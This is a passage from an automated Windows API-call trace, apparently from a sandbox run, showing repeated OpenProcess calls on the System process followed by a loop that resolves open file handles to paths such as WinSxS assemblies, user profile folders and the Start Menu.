dwProcessId=0x4) returned 0x0 [0058.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.103] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0058.135] GetFileType (hFile=0x128) returned 0x1 [0058.135] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0058.138] CloseHandle (hObject=0x128) returned 1 [0058.138] GetFileType (hFile=0xc4) returned 0x1 [0058.138] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0058.139] CloseHandle (hObject=0xc4) returned 1 [0058.140] GetFileType (hFile=0x128) returned 0x1 [0058.140] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0058.141] CloseHandle (hObject=0x128) returned 1 [0058.141] GetFileType (hFile=0xc4) returned 0x0 [0058.141] CloseHandle (hObject=0xc4) returned 1 [0058.141] GetFileType (hFile=0x128) returned 0x1 [0058.141] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.143] CloseHandle (hObject=0x128) returned 1 [0058.143] GetFileType (hFile=0xc4) returned 0x1 [0058.143] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.144] CloseHandle (hObject=0xc4) returned 1 [0058.144] GetFileType (hFile=0x128) returned 0x1 [0058.144] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0058.145] CloseHandle (hObject=0x128) returned 1 [0058.146] GetFileType (hFile=0xc4) returned 0x1 [0058.146] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0058.147] CloseHandle (hObject=0xc4) returned 1 [0058.147] GetFileType (hFile=0x128) returned 0x1 [0058.147] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.148] CloseHandle (hObject=0x128) returned 1 [0058.148] GetFileType (hFile=0xc4) returned 0x1 [0058.149] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.150] CloseHandle (hObject=0xc4) returned 1 [0058.150] GetFileType (hFile=0x128) returned 0x1 [0058.150] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.151] CloseHandle (hObject=0x128) returned 1 [0058.152] GetFileType (hFile=0xc4) returned 0x1 [0058.152] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.153] CloseHandle (hObject=0xc4) returned 1 [0058.153] GetFileType (hFile=0x128) returned 0x1 [0058.153] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.156] CloseHandle (hObject=0x128) returned 1 [0058.156] GetFileType (hFile=0xc4) returned 0x1 [0058.157] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0058.158] CloseHandle (hObject=0xc4) returned 1 [0058.158] GetFileType (hFile=0x128) returned 0x1 [0058.159] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0058.160] CloseHandle (hObject=0x128) returned 1 [0058.160] GetFileType (hFile=0xc4) returned 0x1 [0058.160] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0058.161] CloseHandle (hObject=0xc4) returned 1 [0058.161] GetFileType (hFile=0x128) returned 0x1 [0058.162] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.163] CloseHandle (hObject=0x128) returned 1 [0058.163] GetFileType (hFile=0xc4) returned 0x1 [0058.163] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.164] CloseHandle (hObject=0xc4) returned 1 [0058.165] GetFileType (hFile=0x128) returned 0x1 [0058.165] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.166] CloseHandle (hObject=0x128) returned 1 [0058.166] GetFileType (hFile=0xc4) returned 0x1 [0058.167] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0058.169] CloseHandle (hObject=0xc4) returned 1 [0058.169] GetFileType (hFile=0x128) returned 0x3 [0058.169] CloseHandle (hObject=0x128) returned 1 [0058.170] GetFileType (hFile=0xc4) returned 0x1 [0058.170] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0058.172] CloseHandle (hObject=0xc4) returned 1 [0058.172] GetFileType (hFile=0x128) returned 0x1 [0058.172] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.174] CloseHandle (hObject=0x128) returned 1 [0058.174] GetFileType (hFile=0xc4) returned 0x1 [0058.174] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0058.176] CloseHandle (hObject=0xc4) returned 1 [0058.176] GetFileType (hFile=0x128) returned 0x1 [0058.176] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0058.178] CloseHandle (hObject=0x128) returned 1 [0058.178] GetFileType (hFile=0xc4) returned 0x1 [0058.178] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0058.180] CloseHandle (hObject=0xc4) returned 1 [0058.180] GetFileType (hFile=0x128) returned 0x1 [0058.180] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0058.182] CloseHandle (hObject=0x128) returned 1 [0058.182] GetFileType (hFile=0xc4) returned 0x1 [0058.182] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0058.184] CloseHandle (hObject=0xc4) returned 1 [0058.184] GetFileType (hFile=0x128) returned 0x1 [0058.184] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0058.187] CloseHandle (hObject=0x128) returned 1 [0058.187] GetFileType (hFile=0xc4) returned 0x1 [0058.187] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0058.188] CloseHandle (hObject=0xc4) returned 1 [0058.189] GetFileType (hFile=0x128) returned 0x1 [0058.189] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0058.190] CloseHandle (hObject=0x128) returned 1 [0058.191] GetFileType (hFile=0xc4) returned 0x1 [0058.191] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0058.192] CloseHandle (hObject=0xc4) returned 1 [0058.192] GetFileType (hFile=0x128) returned 0x1 [0058.192] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0058.194] CloseHandle (hObject=0x128) returned 1 [0058.194] GetFileType (hFile=0xc4) returned 0x1 [0058.194] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0058.195] CloseHandle (hObject=0xc4) returned 1 [0058.196] GetFileType (hFile=0x128) returned 0x1 [0058.196] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, 